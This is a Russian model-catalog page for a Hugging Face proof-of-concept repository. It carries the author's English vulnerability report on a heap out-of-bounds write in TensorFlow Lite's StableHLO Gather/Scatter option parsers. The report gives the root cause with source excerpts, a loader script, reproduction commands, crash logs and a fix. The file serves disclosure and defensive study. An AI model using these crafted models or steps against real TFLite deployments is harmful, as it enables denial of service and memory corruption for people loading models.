/ Модель

Характеристики

Опубликована
15 июл 2026

huntr-poc-tflite-stablehlo-gather-oob-write

Языковая модель

Тестовая TFLite-модель для воспроизведения ошибки записи за границы кучи при разборе StableHLO-параметров в TensorFlow Lite.

0скачиваний за 30 дней0лайковвеса обновлены15 июл 2026

Бенчмарки

Как модель справилась с задачами пользователей ailist и что о ней публикуют открытые лидерборды

Публичные оценки

Из открытых лидербордов. Сравнивайте результаты одного теста при одинаковых условиях — отсутствие оценки не значит, что модель хуже.

В подключённых источниках результатов для этой модели пока нет.

Что умеет модель

Описание составлено по карточке модели и метаданным Hugging Face

Это тестовый файл модели формата TFLite, опубликованный EnigmaConsultant как proof of concept уязвимости в TensorFlow Lite. README описывает ошибку разбора параметров StableHLO Gather и родственных операций: векторы из недоверенного FlatBuffer копируются в фиксированные массивы без корректной проверки размера, что может вызвать запись за границы кучи при создании tf.lite.Interpreter, ещё до выделения тензоров и выполнения инференса. Файл предназначен для воспроизведения и анализа уязвимости, а не для предсказаний или пользовательских ML-задач.

Проверка описана для TensorFlow 2.21.0 и flatbuffers 25.12.19. Пример показывает аварийное завершение процесса при загрузке специально сформированных моделей; это указывает на риск повреждения памяти и отказа в обслуживании. Применять такой файл следует только в изолированной тестовой среде. Лицензия в предоставленных данных не указана.

Сценарии применения

  • проверка уязвимости парсера TFLite в изолированной среде
  • анализ безопасности загрузки недоверенных моделей TensorFlow Lite
  • воспроизведение сбоя при разборе параметров StableHLO Gather

Ограничения

Это proof of concept для проверки ошибки разбора, а не модель для инференса; загрузка специально сформированного файла может привести к аварийному завершению или повреждению памяти процесса.

Карточка модели

README от автора на Hugging Face, как он его опубликовал

Открыть на Hugging Face

TFLite ParseStablehloGather / ParseStablehloScatter heap OOB write: vacuous FlatBufferIntVectorToArray bound copies attacker-controlled flatbuffer vector into fixed int64[8] params array at model-load

Severity: High (heap out-of-bounds write, attacker-controlled length AND value, at model-parse time) Vulnerability class: CWE-787 Out-of-bounds Write / CWE-1284 Improper Validation of Specified Quantity in Input Target: TensorFlow Lite (in-tree TFLite runtime shipped with the tensorflow package) Version tested: tensorflow 2.21.0 (pip wheel), flatbuffers 25.12.19 Attack surface: Loading an untrusted/malformed .tflite model via the fully public default tf.lite.Interpreter(model_content=...) API Trigger: the tf.lite.Interpreter(...) constructor (InterpreterBuilder::ParseNodes -> ParseOpData -> ParseStablehloGather), before allocate_tensors() and before any kernel runs.


Summary

ParseStablehloGather (and its siblings ParseStablehloScatter, ParseStablehloReduceWindow, ParseStablehloPad) copy variable-length int64 flatbuffer vectors out of an attacker-supplied model into fixed-size 8-element int64_t arrays inside a heap-allocated params struct. The copy is guarded by a bounds check that is vacuously always-true because the buffer-capacity argument is derived from the source vector's own length instead of the fixed destination capacity. As a result the loop writes size attacker-controlled 8-byte values into a 64-byte array, running off the end of the struct and corrupting adjacent heap — a heap OOB write with attacker control over both the number of bytes written and their contents, reached purely at model-parse time through the default public API.


Root cause

The fixed destination array (capacity 8)

tensorflow/compiler/mlir/lite/core/c/builtin_op_data.h:

#define TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT 8

typedef struct {
  int64_t offset_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];       // 8 * int64 = 64 bytes
  int num_offset_dims;
  int64_t collapsed_slice_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
  int num_collapsed_slice_dims;
  int64_t start_index_map[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
  int num_start_index_map;
  int64_t index_vector_dim;
  int64_t slice_sizes[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
  int num_slice_sizes;
  bool indices_are_sorted;
} TfLiteStablehloGatherParams;

Each of offset_dims, collapsed_slice_dims, start_index_map, slice_sizes is a fixed int64_t[8] (64 bytes).

The vacuous bounds check

tensorflow/lite/core/api/flatbuffer_conversions.cc:

template <typename DataType = int32_t>
static TfLiteStatus FlatBufferIntVectorToArray(
    int max_size_of_buffer, const flatbuffers::Vector<DataType>* flat_vector,
    DataType* buffer, ErrorReporter* error_reporter, const char* op_name) {
  if (!flat_vector) {
    ...
    return kTfLiteError;
  } else {
    size_t num_dimensions = flat_vector->size();
    if (num_dimensions > max_size_of_buffer / sizeof(DataType)) {   // <-- guard
      ...
      return kTfLiteError;
    } else {
      for (size_t i = 0; i < num_dimensions; ++i) {
        buffer[i] = flat_vector->Get(i);                           // <-- OOB write
      }
    }
  }
  return kTfLiteOk;
}

The bug: max_size_of_buffer is derived from the source vector, not the destination

ParseStablehloGather (same file) passes schema_params->offset_dims()->size() * sizeof(int64_t) as max_size_of_buffer — i.e. the size of the attacker-controlled source vector, not sizeof(params->offset_dims):

TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
    /*max_size_of_buffer=*/schema_params->offset_dims()->size() *
        sizeof(int64_t),
    /*flat_vector=*/schema_params->offset_dims(),
    /*buffer=*/params->offset_dims, /*error_reporter=*/error_reporter,
    /*op_name=*/"stablehlo_gather"));
params->num_offset_dims = schema_params->offset_dims()->size();

TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
    schema_params->collapsed_slice_dims()->size() * sizeof(int64_t),
    schema_params->collapsed_slice_dims(), params->collapsed_slice_dims,
    error_reporter, "stablehlo_gather"));
...
TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
    schema_params->start_index_map()->size() * sizeof(int64_t),
    schema_params->start_index_map(), params->start_index_map,
    error_reporter, "stablehlo_gather"));
...
TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
    schema_params->slice_sizes()->size() * sizeof(int64_t),
    schema_params->slice_sizes(), params->slice_sizes, error_reporter,
    "stablehlo_gather"));

Substituting into the guard, with size = flat_vector->size():

num_dimensions > max_size_of_buffer / sizeof(int64_t)
= size          > (size * sizeof(int64_t)) / sizeof(int64_t)
= size          > size
= false          (always)

The check can never reject, regardless of how large the source vector is. max_size_of_buffer should be sizeof(params->offset_dims) (= 8 * sizeof(int64_t) = 64), the fixed destination capacity — then a source vector of length > 8 would be correctly rejected. Because it is instead derived from the source length, the copy loop for (i=0;i<size;++i) buffer[i]=flat_vector->Get(i) writes size attacker-chosen 8-byte values starting at params->offset_dims, overrunning the 64-byte field, the rest of the TfLiteStablehloGatherParams struct, and adjacent heap.

Both the length (size) and the written values (each flat_vector->Get(i)) are fully attacker-controlled from the model file.

Shared root cause across sibling parsers

The identical ->size() * sizeof(int64_t) self-referential-bound pattern is used by the other StableHLO option parsers in the same file, e.g. ParseStablehloScatter (update_window_dims / inserted_window_dims / scatter_dims_to_operand_dims copied into the fixed arrays of TfLiteStablehloScatterParams). So this is one root cause spanning multiple op parsers, not a single-op typo.


Reachability

The vulnerable copy runs inside the tf.lite.Interpreter(model_content=...) constructor: InterpreterBuilder -> ParseNodes -> ParseOpData -> ParseStablehloGather. It executes at parse time, before allocate_tensors() and independent of whether the StableHLO gather kernel is ever registered or invoked. Reproduced with the default resolver and XNNPACK enabled (the out-of-the-box configuration) — no non-default flags required.


Proof of Concept

mk_stablehlo_gather.py builds a minimal .tflite with a single STABLEHLO_GATHER op (BuiltinOperator = 201) whose StablehloGatherOptions.offset_dims vector has n entries, each 0x4141414141414141, plus small valid collapsed_slice_dims / start_index_map / slice_sizes. It is loaded with the fully public default API (load_worker.py):

import tensorflow as tf
buf = open(path, 'rb').read()
it = tf.lite.Interpreter(model_content=buf)   # ParseNodes/ParseOpData runs HERE
print("CONSTRUCTED_OK")
it.allocate_tensors()
print("ALLOCATED_OK")

Because the crash happens inside the constructor, CONSTRUCTED_OK is never printed on the malicious inputs — proving the fault is at parse time, not at allocate/invoke.

Files

  • mk_stablehlo_gather.py — model builder: python mk_stablehlo_gather.py <n> out.tflite
  • load_worker.py — driver (loads via default tf.lite.Interpreter)
  • shg_n8.tflite — negative control, n=8 (fits the 8-element array) -> CONSTRUCTED_OK / ALLOCATED_OK
  • shg_n1000000.tflite — primary malicious PoC (n=1,000,000) -> SIGSEGV in constructor
  • shg_n100000.tflite, g100000.tflite, g200000.tflite, g50000.tflite, g5000.tflite, g20000.tflite — additional malicious sizes

Reproduce

pip install tensorflow==2.21.0
python load_worker.py shg_n8.tflite         # negative control -> CONSTRUCTED_OK / ALLOCATED_OK / rc=0
python load_worker.py shg_n1000000.tflite   # -> SIGSEGV (exit 139), no CONSTRUCTED_OK printed

Captured evidence (verbatim)

Negative control (n=8, in-bounds):

CONSTRUCTED_OK
ALLOCATED_OK
rc=0

Overflow — crash occurs BEFORE CONSTRUCTED_OK prints (crash is inside the constructor / ParseOpData, parse time):

n=5000     rc=139 (SIGSEGV)
n=50000    rc=139 (SIGSEGV)
n=1000000  rc=139 (SIGSEGV)   grep -c CONSTRUCTED_OK shg_1m_raw.log -> 0
n=100000   rc=134 (SIGABRT), glibc: "corrupted double-linked list"
n=200000   rc=139, glibc: "corrupted double-linked list"

Determinism — shg_n1000000.tflite, three consecutive runs (tensorflow 2.21.0):

run1 rc=139 CONSTRUCTED_OK_count=0
run2 rc=134 CONSTRUCTED_OK_count=0
run3 rc=139 CONSTRUCTED_OK_count=0

Every run crashes (SIGSEGV/SIGABRT) inside the constructor; CONSTRUCTED_OK is never reached.

Kernel log (dmesg) during crashing runs:

traps: python[1566947] general protection fault ip:7fc8ca5c955d sp:7ffcdeb1f640 error:0 \
  in libpywrap_tflite_common.so[5c855d,7fc8ca251000+880000]
traps: python[1566969] general protection fault ip:7fbbd67c955d sp:7fff28e71c80 error:0 \
  in libpywrap_tflite_common.so[5c855d,7fbbd6451000+880000]

The general-protection-fault / glibc "corrupted double-linked list" aborts are heap-metadata corruption caused by the sequential OOB write of the attacker byte pattern 0x4141414141414141 over glibc malloc chunk headers past the params struct.


Impact

An attacker who gets a victim to load a crafted .tflite (a common threat model — model files are routinely downloaded from public hubs and treated as passive data) achieves a heap out-of-bounds write, with control over both the number of 8-byte words written and their values, during the tf.lite.Interpreter constructor — before any inference. At minimum this is a reliable remote denial of service (SIGSEGV/abort); given attacker control over write length and contents adjacent to heap metadata, it is a strong memory-corruption primitive.

Affected configuration / scope

  • Default tf.lite.Interpreter(model_content=...) API, default resolver, XNNPACK enabled (default).
  • Bug is in the generic op-parameter parser (flatbuffer_conversions.cc), independent of kernel registration; the StableHLO gather kernel does not need to execute.

Suggested fix

Pass the fixed destination capacity as max_size_of_buffer, e.g. sizeof(params->offset_dims) (= TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT * sizeof(int64_t)), in every FlatBufferIntVectorToArray call in ParseStablehloGather / ParseStablehloScatter / ParseStablehloReduceWindow / ParseStablehloPad, so oversized source vectors are rejected.

Deduplication

  • No CVE was found describing a parse-time heap OOB write in TFLite's StableHLO option parsers caused by FlatBufferIntVectorToArray being called with a source-derived (self-referential) max_size_of_buffer. Public TFLite StableHLO issues concern kernel-execution shape handling, not this parse-time fixed-array overflow.
  • Distinct from other TFLite findings in this account's backlog: this is a parse-time (tf.lite.Interpreter constructor) fixed-array overflow in flatbuffer_conversions.cc, whereas the sparse-weight-densification OOB write triggers later at allocate_tensors() in the reference FullyConnected kernel. Different file, different code path, different trigger point.

Environment

  • tensorflow 2.21.0 (pip wheel), flatbuffers 25.12.19
  • Python (build venv), Linux x86_64

Как запустить

На своей GPU в ailist. Цена — по текущим предложениям провайдеров

GPU в ailist

Универсальный рантайм

Нельзя запустить

У модели не указана задача.

Ревизия весов
63d59e2

0 моделей